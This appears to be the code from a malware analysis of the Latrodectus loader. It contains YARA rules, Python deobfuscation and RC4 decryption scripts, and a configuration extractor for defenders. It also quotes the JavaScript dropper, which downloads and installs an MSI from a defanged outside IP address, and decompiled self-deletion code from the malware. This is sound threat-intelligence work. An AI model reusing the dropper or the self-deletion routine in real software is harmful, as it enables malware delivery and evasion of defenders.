Latrodectus dropped by BR4 🕷️

 1function installFromURL() {
 2    var msiPath;
 3    try {
 4        installer = new ActiveXObject("WindowsInstaller.Installer");
 5        installer.UILevel = 2;
 6        msiPath = "http:85.208.108.]63/BST.msi";
 7        installer.InstallProduct(msiPath);
 8    } catch (e) {
 9
10    }
11}
12installFromURL();

 1rule Latrodectus_JS_dropper {
 2  meta:
 3    purpose = "hunting"
 4    malware = "latrodectus"
 5    creation_date = "2024-06-25"
 6    description = "JS Dropper that DL and install a BR4 MSI"
 7    classification = "TLP:GREEN"
 8  strings:
 9    $s1 = "ActiveXObject"
10    $s2 = "//////        installer.InstallProduct(msiPath);"
11  condition: all of them
12}

 1import os
 2
 3urls = set()
 4
 5for _, _, filenames in os.walk(path):
 6    for filename in filenames:
 7        with open(os.path.join(path, filename), "r") as f:
 8            raw_script = f.read()
 9        script = []
10        for line in raw_script.split("\n"):
11              if line.startswith("////"):
12                  script.append(line.replace("////", ""))
13                  if "msiPath = " in line:
14                      urls.add(line.split(" = ")[-1].replace(";","").replace('"', ''))
15return "\n".join(urls)

1struct api {
2  DWORD funcHash;
3  HMODULE* hModule;
4  LPVOID*  pFunc;
5};

1struct latrodectus_string {
2  DWORD size;
3  WORD seed;
4  CHAR[] buff;
5};

 1import struct
 2
 3def deobfuscate_string(buff: bytes) -> str:
 4    key, seed = struct.unpack("<ih", buff[:6])
 5    size = (key ^ seed) & 0xFF
 6    ciphertext = buff[6 : 6 + size]
 7    cleartext = bytearray(size)
 8
 9    for index in range(size):
10        key += 1
11        cleartext[index] = (key ^ ciphertext[index]) & 0xFF
12
13    return cleartext.decode("utf-16")
14
15
16buff = bytes.fromhex(
17    "2082130E3C826222562456265328462A462C722E5A3041325734543643385C3A3B3C0000"
18)
19
20print(deobfuscate_string(buff))

 1import struct
 2
 3def bytes_to_clsid(byte_data):
 4    if len(byte_data) != 16:
 5        raise ValueError("A CLSID must be 16 bytes long")
 6
 7    # Unpack bytes according to CLSID structure
 8    part1, part2, part3, part4_and_part5 = struct.unpack('<IHH8s', byte_data[:16])
 9
10    # Split part4_and_part5 into two parts
11    part4 = part4_and_part5[:2]
12    part5 = part4_and_part5[2:8]
13    part6 = byte_data[8:16]
14
15    # Format the CLSID
16    clsid = f'{{{part1:08X}-{part2:04X}-{part3:04X}-{part4.hex().upper()}-{part5.hex().upper()}{part6.hex().upper()}}}'
17    print(clsid)
18
19# Example usage
20byte_data = bytes.fromhex("C7A4AB2FA94D1340969720CC3FD40F85")
21bytes_to_clsid(byte_data)

 1__int64 self_delete_withADS()
 2{
 3  char v1[8]; // [rsp+40h] [rbp-D8h] BYREF
 4  HANDLE FileW; // [rsp+48h] [rbp-D0h]
 5  int *buff; // [rsp+50h] [rbp-C8h]
 6  unsigned __int64 v4; // [rsp+58h] [rbp-C0h]
 7  unsigned __int64 buff_size; // [rsp+60h] [rbp-B8h]
 8  int *v6; // [rsp+68h] [rbp-B0h]
 9  __int16 *v7; // [rsp+70h] [rbp-A8h]
10  WCHAR *__attribute__((__org_arrdim(0,0))) v8; // [rsp+78h] [rbp-A0h]
11  __int16 a2[76]; // [rsp+80h] [rbp-98h] BYREF
12
13  if ( !self_filepath )
14    return 0xFFFFFFFFi64;
15  FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
16  if ( FileW == INVALID_HANDLE_VALUE )
17    return 0xFFFFFFFFi64;
18  deobfuscate_string(&byte_18000FA18, a2);      // :wtfbbq\x00
19  v7 = a2;
20  v8 = a2;
21  v4 = 2i64 * whar::get_length(a2);
22  buff_size = v4 + 24;
23  buff = allocate_memory_rwx(v4 + 24);
24  if ( !buff )
25    return 0xFFFFFFFFi64;
26  zero_mem_0(buff, buff_size);
27  v6 = buff;
28  buff[4] = v4;
29  qmemcpy(v6 + 5, v8, v4);
30  if ( SetFileInformationByHandle(FileW, FileRenameInfo, v6, buff_size) )
31  {
32    nt_free_mem(buff);
33    CloseHandle(FileW);
34    FileW = CreateFileW(self_filepath, DELETE, 0, 0i64, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0i64);
35    if ( FileW == INVALID_HANDLE_VALUE )
36    {
37      return 0xFFFFFFFFi64;
38    }
39    else
40    {
41      v1[0] = 0;
42      zero_mem_0(v1, 1ui64);
43      v1[0] = 1;
44      if ( SetFileInformationByHandle(FileW, FileDispositionInfo, v1, 1u) )
45      {
46        CloseHandle(FileW);
47        return 0i64;
48      }
49      else
50      {
51        return 0xFFFFFFFFi64;
52      }
53    }
54  }
55  else
56  {
57    nt_free_mem(buff);
58    return 0xFFFFFFFFi64;
59  }
60}

 1import base64
 2
 3def rc4(data: str, key: str) -> str:
 4    """code from OALabs """
 5    x = 0
 6    box = list(range(256))
 7    for i in range(256):
 8        x = (x + box[i] + key[i % len(key)]) % 256
 9        box[i], box[x] = box[x], box[i]
10    x = 0
11    y = 0
12    out = []
13    for c in data:
14        x = (x + 1) % 256
15        y = (y + box[x]) % 256
16        box[x], box[y] = box[y], box[x]
17        out.append(c ^ box[(box[x] + box[y]) % 256])
18    return bytes(out)
19
20
21buff = b"E3l9I35LXiOWKYHilDWuJoUOTU3NOyjNGnp3muFUOrabzvFw6FpoOQqdBZmsUV5E7FzXWHKgBafR6PcPckBsIB2vIhb3CZ/QHPoEO1hc0A++PpLQjpRWJkK3EFDxH/R5RYjhInO8hc0jTljC91GMVstjkxgQnuZLGBW6AV/gz4VrNMWUxFUtP4fdg/HKCREbRm+gIHkH/7Jc9Q=="
22key = b"12345"
23print(rc4(base64.b64decode(buff), key).decode())

 1import "pe"
 2
 3rule latrodectus_exports : TESTING {
 4    meta:
 5        version = "1.0"
 6        malware = "Latrodectus"
 7        author = "Sekoia.io"
 8        description = "detection based on the DLL exports, this is specific to the BR4 campaign"
 9        creation_date = "2024-07-03"
10        classification = "TLP:GREEN"
11
12    condition:
13        (pe.exports("stow") or pe.exports("homq") or pe.exports("scub")) and pe.number_of_exports >= 3 and uint16(0) == 0x5a4d
14}

 1BYTE *__fastcall decode_string(WORD *obfuscated_data, BYTE *buff_dest)
 2{
 3  BYTE v3; // [rsp+20h] [rbp-18h]
 4  unsigned __int16 i; // [rsp+24h] [rbp-14h]
 5  unsigned __int16 length; // [rsp+28h] [rbp-10h]
 6  int seed; // [rsp+2Ch] [rbp-Ch]
 7  BYTE *ptr_buff_obfuscated; // [rsp+40h] [rbp+8h]
 8
 9  seed = *(_DWORD *)obfuscated_data;
10  length = obfuscated_data[2] ^ *obfuscated_data;
11  ptr_buff_obfuscated = (BYTE *)(obfuscated_data + 3);
12  for ( i = 0; i < (int)length; ++i )
13  {
14    v3 = ptr_buff_obfuscated[i];
15    seed = prng2(seed);
16    buff_dest[i] = seed ^ v3;
17  }
18  return buff_dest;
19}

1__int64 __fastcall prng2(int seed)
2{
3  unsigned __int64 v1; // kr00_8
4  unsigned int v3; // [rsp+8h] [rbp+8h]
5
6  v1 = (unsigned __int64)(((((seed + 0x2E59) << 31) | ((unsigned int)(seed + 0x2E59) >> 1)) << 31) | ((((seed + 0x2E59) << 31) | ((unsigned int)(seed + 0x2E59) >> 1)) >> 1)) << 30;
7  v3 = ((((unsigned int)v1 | HIDWORD(v1)) ^ 0x151D) >> 0x1E) | (4 * ((v1 | HIDWORD(v1)) ^ 0x151D));
8  return (v3 >> 31) | (2 * v3);
9}

 1import struct
 2import binascii
 3
 4def mask(a):
 5    return a & 0xFFFFFFFF
 6
 7
 8def prng2(seed):
 9    temp = mask((seed + 0x2E59))
10    temp2 = temp >> 1
11    temp = mask(temp << 0x1F)
12    temp |= temp2
13    temp2 = temp >> 1
14    temp = mask(temp << 0x1F)
15    temp |= temp2
16    temp2 = temp >> 2
17    temp = mask(temp << 0x1E)
18    temp |= temp2
19    temp ^= 0x6387
20    temp ^= 0x769A
21    temp2 = mask(temp << 2)
22    temp >>= 0x1E
23    temp |= temp2
24    temp2 = mask(temp << 1)
25    temp >>= 0x1F
26    temp |= temp2
27    return temp
28
29
30def decode(s):
31    (seed, l) = struct.unpack_from("<IH", s)
32    l = (l ^ seed) & 0xFFFF
33    if l > len(s):
34        return b""
35    temp = bytearray(s[6 : 6 + l])
36    for i in range(l):
37        seed = prng2(seed)
38        temp[i] = (temp[i] ^ seed) & 0xFF
39    return temp
40
41
42string = binascii.unhexlify("F5788452F8781A6EEE4623114A578F9A44B3E10000")
43print(decode(string).decode())

  1import re
  2import struct
  3import pefile
  4import logging
  5
  6from collections import Counter
  7from typing import Optional, List, Dict
  8
  9logging.basicConfig()
 10logging.getLogger().setLevel(logging.DEBUG)
 11
 12
 13def parse_pe(pe_path: str) -> bytes:
 14    """Extract data from the .data section of the PE,
 15    returns a byte array otherwise raise ValueError"""
 16
 17    pe: pefile.PE = pefile.PE(pe_path)
 18    data_section: Optional[pefile.SectionStructure] = None
 19
 20    for section in pe.sections:
 21        if section.Name.startswith(b".data"):
 22            data_section = section
 23
 24    if not data_section:
 25        raise ValueError("no .data section found")
 26
 27    return data_section.get_data()
 28
 29
 30def identify_latrodectus_egg_obfuscated_string(data: bytes) -> re.Pattern:
 31    """Identify the pattern at the beggining of the obfuscated strings"""
 32
 33    # need to identifier the EGG_OBFUSCATED_STRING...
 34    patterns = []
 35    for str_data in filter(lambda x: x, data.split(b"\x00")):
 36        patterns.append(str_data[:4])
 37
 38    EGG_PATTERN = Counter(patterns).most_common(1)[0][0]  # get the most common pattern
 39
 40    if not EGG_PATTERN:
 41        raise ValueError("no begging string pattern found")
 42
 43    # note the best way to build the RE pattern...
 44    LATRODECTUS_EGG_STRING = re.compile(EGG_PATTERN + b"(..)")
 45    logging.debug(f"Found an STRING EGG pattern: 0x{EGG_PATTERN.hex()}")
 46
 47    return LATRODECTUS_EGG_STRING
 48
 49
 50def deobfuscate_all_strings(
 51    data: bytes, LATRODECTUS_EGG_STRING: re.Pattern
 52) -> List[str]:
 53    """
 54    Split data by the LATRODECTUS_EGG_STRING,
 55    then deobfuscated each one of them and return their
 56    string value regarding their encoding: utf-8 or utf-16
 57    """
 58
 59    strings: List[str] = []
 60
 61    for match in LATRODECTUS_EGG_STRING.finditer(data):
 62        start_position = match.start() + 6
 63        key, seed = struct.unpack("<ih", match.group())
 64        size = (key ^ seed) & 0xFF
 65
 66        ciphertext = data[start_position : start_position + size]
 67        cleartext = bytearray(size)
 68
 69        for index in range(size):
 70            key += 1
 71            cleartext[index] = (key ^ ciphertext[index]) & 0xFF
 72
 73        if cleartext.endswith(b"\x00" * 2):  # wide string
 74            strings.append(cleartext.decode("utf-16"))
 75        else:
 76            strings.append(cleartext.decode())
 77
 78    return strings
 79
 80
 81def extract_configuration_from_cleartexts(strings: List[str]) -> Dict:
 82    configuration = {"C2": [], "rc4_key": "", "group": ""}
 83
 84    for index, value in enumerate(strings):
 85        if value == "ERROR\x00":
 86            configuration["rc4_key"] = strings[index + 1].replace("\x00", "")
 87            logging.debug(f"rc4 key is: {configuration['rc4_key']}")
 88        if value == "/files/\x00":
 89            configuration["group"] = strings[index + 1].replace("\x00", "")
 90            logging.debug(f"latrodectus group: {configuration['group']}")
 91        if value.startswith("http"):
 92            configuration["C2"].append(value.replace("\x00", ""))
 93            logging.debug(f"update C2: {configuration['C2']}")
 94
 95    logging.info(configuration)
 96    return configuration
 97
 98
 99def main(path: str) -> Dict:
100    """take a PE path and return
101    the Latrodectus configuration"""
102
103    data = parse_pe(path)
104    EGG_STRING = identify_latrodectus_egg_obfuscated_string(data)
105    strings = deobfuscate_all_strings(data, EGG_STRING)
106    configuration = extract_configuration_from_cleartexts(strings)
107    return configuration
108
109
110if __name__ == "__main__":
111    import sys
112
113    path = sys.argv[1]
114    try:
115        print(main(path))
116    except Exception as err:
117        logging.error(f"failed to extract configuration from {path}, error: {err}")